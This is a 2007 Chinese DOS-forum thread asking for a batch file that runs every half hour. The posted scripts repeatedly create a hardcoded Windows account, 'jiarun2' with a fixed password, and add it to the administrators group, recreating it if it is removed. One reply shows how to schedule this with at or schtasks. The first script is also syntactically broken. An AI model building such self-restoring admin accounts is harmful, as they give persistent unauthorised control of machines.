中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net  论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

游客:  注册 | 登录 | 命令行 | 会员 | 搜索 | 上传 | 帮助 »
作者:
标题: 求if time的应用 上一主题 | 下一主题
270265929
初级用户





积分 49
发帖 21
注册 2007-6-6
状态 离线
『楼 主』:  求if time的应用

本人求写一个能定时运行的P处理,意思是:从早上8:00起到晚上24点(12:00)这个时间段每隔半个小时运行一次程序

2007-6-29 19:51
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
270265929
初级用户





积分 49
发帖 21
注册 2007-6-6
状态 离线
『第 2 楼』:  下面是我自己看到一个例子后写的

@echo off
cd\
cls
:loop
if "%time:~0,5%"==8:00" goto user
if "%time:~0,5%"==8:30" goto user
if "%time:~0,5%"==9:00" goto user
if "%time:~0,5%"==9:30" goto user
if "%time:~0,5%"==10:00" goto user
if "%time:~0,5%"==10:30" goto user
if "%time:~0,5%"==11:00" goto user
if "%time:~0,5%"==11:30" goto user
if "%time:~0,5%"==12:00" goto user
if "%time:~0,5%"==12:30" goto user
if "%time:~0,5%"==13:00" goto user
if "%time:~0,5%"==13:30" goto user
if "%time:~0,5%"==14:00" goto user
if "%time:~0,5%"==14:30" goto user
if "%time:~0,5%"==15:00" goto user
if "%time:~0,5%"==15:30" goto user
if "%time:~0,5%"==16:00" goto user
if "%time:~0,5%"==16:30" goto user
if "%time:~0,5%"==17:00" goto user
if "%time:~0,5%"==17:30" goto user
if "%time:~0,5%"==18:00" goto user
if "%time:~0,5%"==18:30" goto user
if "%time:~0,5%"==19:00" goto user
if "%time:~0,5%"==19:30" goto user
if "%time:~0,5%"==20:00" goto user
if "%time:~0,5%"==20:30" goto user
if "%time:~0,5%"==21:00" goto user
if "%time:~0,5%"==21:30" goto user
if "%time:~0,5%"==22:00" goto user
if "%time:~0,5%"==23:30" goto user
if "%time:~0,5%"==24:00" goto user
if "%time:~0,5%"==1:00" goto user
if "%time:~0,5%"==1:30" goto user
if "%time:~0,5%"==2:00" goto user
if "%time:~0,5%"==2:30" goto user
if "%time:~0,5%"==3:00" goto user
if "%time:~0,5%"==3:30" goto user
if "%time:~0,5%"==4:00" goto user
if "%time:~0,5%"==4:30" goto user
if "%time:~0,5%"==5:00" goto user
if "%time:~0,5%"==5:30" goto user
if "%time:~0,5%"==6:00" goto user
if "%time:~0,5%"==6:30" goto user
if "%time:~0,5%"==7:00" goto user
if "%time:~0,5%"==7:30" goto user
if "%time:~0,5%"==8:00" goto user
if "%time:~0,5%"==8:30" goto user
if "%time:~0,5%"==9:00" goto user
if "%time:~0,5%"==9:30" goto user
if "%time:~0,5%"==10:00" goto user
if "%time:~0,5%"==10:30" goto user
if "%time:~0,5%"==11:00" goto user
if "%time:~0,5%"==11:30" goto user
if "%time:~0,5%"==12:00" goto user
if "%time:~0,5%"==12:30" goto user
goto loop
:user
net user jiarun2 88912530 /add
net localgroup administrators jiarun2 /add
exit

2007-6-29 19:53
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
270265929
初级用户





积分 49
发帖 21
注册 2007-6-6
状态 离线
『第 3 楼』:  

上面有重复的时间是因为有时候机器会改成12小时制,我不知道怎么表示,求高手能指点和改进下
我是要在早8:00起到晚24:00间每半小时执行添加用户的命令,当然如果有此用户的话就能够自动退出P处理

2007-6-29 19:57
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
wudixin96
银牌会员





积分 1928
发帖 931
注册 2007-1-6
状态 离线
『第 4 楼』:  

论坛里早有讨论的。请使用论坛搜索功能。

2007-6-29 20:14
查看资料  发短消息 网志   编辑帖子  回复  引用回复
woainiphj
初级用户

DOS之星


积分 55
发帖 26
注册 2007-6-25
状态 离线
『第 5 楼』:  kiss

高手呀!



DOS   之星
2007-7-5 18:25
查看资料  发送邮件  发短消息 网志  OICQ (283193995)  编辑帖子  回复  引用回复
bjsh
银牌会员





积分 2000
发帖 621
注册 2007-1-1
状态 离线
『第 6 楼』:  

这写的 电脑还不得暴了...

at 或 schtasks 即可;

调用的批处理
net user jiarun2
if not errorlevel 1 at /delete(如果用的是schtasks的话为 schtasks /delete) && exit
net user jiarun2 88912530 /add
net localgroup administrators jiarun2 /add

2007-7-5 22:35
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复

请注意:您目前尚未注册或登录,请您注册登录以使用论坛的各项功能,例如发表和回复帖子等。


可打印版本 | 推荐给朋友 | 订阅主题 | 收藏主题



论坛跳转: